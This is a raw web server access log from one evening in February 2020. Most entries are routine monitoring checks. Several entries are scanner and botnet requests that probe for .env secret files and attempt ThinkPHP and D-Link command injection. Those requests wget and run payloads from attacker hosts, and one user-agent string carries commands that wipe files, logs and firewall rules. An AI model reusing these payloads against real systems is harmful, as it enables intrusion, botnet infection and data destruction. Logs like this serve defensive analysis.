185.234.216.198 - - [18/Feb/2020:18:34:15 +0100] "GET /system/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [18/Feb/2020:18:34:15 +0100] "GET /local/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [18/Feb/2020:18:34:15 +0100] "GET /rest/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [18/Feb/2020:18:34:15 +0100] "GET /fedex/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [18/Feb/2020:18:34:15 +0100] "GET /private/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [18/Feb/2020:18:34:16 +0100] "GET /back/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [18/Feb/2020:18:34:16 +0100] "GET /docker/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [18/Feb/2020:18:34:16 +0100] "GET /development/.env HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [18/Feb/2020:18:34:16 +0100] "GET /app/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
212.91.246.72 - - [18/Feb/2020:18:34:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:35:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:36:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:37:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.33.112.155 - - [18/Feb/2020:18:38:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [18/Feb/2020:18:38:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:39:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:40:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:41:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:42:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:43:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.215.212.192 - - [18/Feb/2020:18:44:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [18/Feb/2020:18:44:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:45:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:46:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:47:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:48:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:49:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.193.42.70 - - [18/Feb/2020:18:49:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:18:50:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:51:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:52:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:53:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:54:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:55:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:56:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
123.254.209.170 - - [18/Feb/2020:18:57:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [18/Feb/2020:18:57:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [18/Feb/2020:18:58:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [18/Feb/2020:18:58:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:18:59:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:19:00:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:19:01:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:19:02:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:19:03:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.64.208.11 - - [18/Feb/2020:19:04:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:19:04:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:19:05:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:19:06:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:19:07:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:19:08:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:19:09:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:19:10:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:19:11:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:19:12:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:19:13:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.221.49 - - [18/Feb/2020:19:14:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.05"
212.91.246.72 - - [18/Feb/2020:19:14:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:19:15:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:19:16:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.221.49 - - [18/Feb/2020:19:16:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.05"
212.91.246.72 - - [18/Feb/2020:19:17:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:19:18:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:19:19:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:19:20:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:19:21:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:19:22:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:19:23:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:19:24:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:19:25:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.43.8.138 - - [18/Feb/2020:19:26:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [18/Feb/2020:19:26:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:19:27:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.23.20.8 - - [18/Feb/2020:19:27:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [18/Feb/2020:19:28:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:19:29:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:19:30:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:19:31:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:19:32:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:19:33:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:19:34:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:19:35:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.221.49 - - [18/Feb/2020:19:35:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.05"
212.91.246.72 - - [18/Feb/2020:19:36:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:19:37:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.221.49 - - [18/Feb/2020:19:38:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.05"
212.91.246.72 - - [18/Feb/2020:19:38:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:19:39:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.88.27.34 - - [18/Feb/2020:19:39:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [18/Feb/2020:19:40:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:19:41:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:19:42:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.236.76.95 - - [18/Feb/2020:19:43:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [18/Feb/2020:19:43:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
98.28.219.23 - - [18/Feb/2020:19:44:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [18/Feb/2020:19:44:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:19:45:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:19:46:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:19:47:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:19:48:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.104.203.181 - - [18/Feb/2020:19:49:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:19:49:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:19:50:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.40.226.165 - - [18/Feb/2020:19:51:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [18/Feb/2020:19:51:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
120.193.219.42 - - [18/Feb/2020:19:52:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [18/Feb/2020:19:52:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.178.209.223 - - [18/Feb/2020:19:52:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [18/Feb/2020:19:53:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:19:54:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:19:55:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.180.178 - - [18/Feb/2020:19:55:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [18/Feb/2020:19:55:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [18/Feb/2020:19:55:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [18/Feb/2020:19:56:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [18/Feb/2020:19:56:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [18/Feb/2020:19:56:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
82.65.1.45 - - [18/Feb/2020:19:56:45 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [18/Feb/2020:19:57:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:19:58:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:19:59:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.131.7.219 - - [18/Feb/2020:20:00:11 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [18/Feb/2020:20:00:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:20:01:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:20:02:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:20:03:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:20:04:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [18/Feb/2020:20:04:48 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [18/Feb/2020:20:04:56 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [18/Feb/2020:20:05:01 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [18/Feb/2020:20:05:03 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:20:05:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:20:06:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:20:07:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:20:08:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:20:09:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [18/Feb/2020:20:09:58 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [18/Feb/2020:20:10:00 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [18/Feb/2020:20:10:06 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
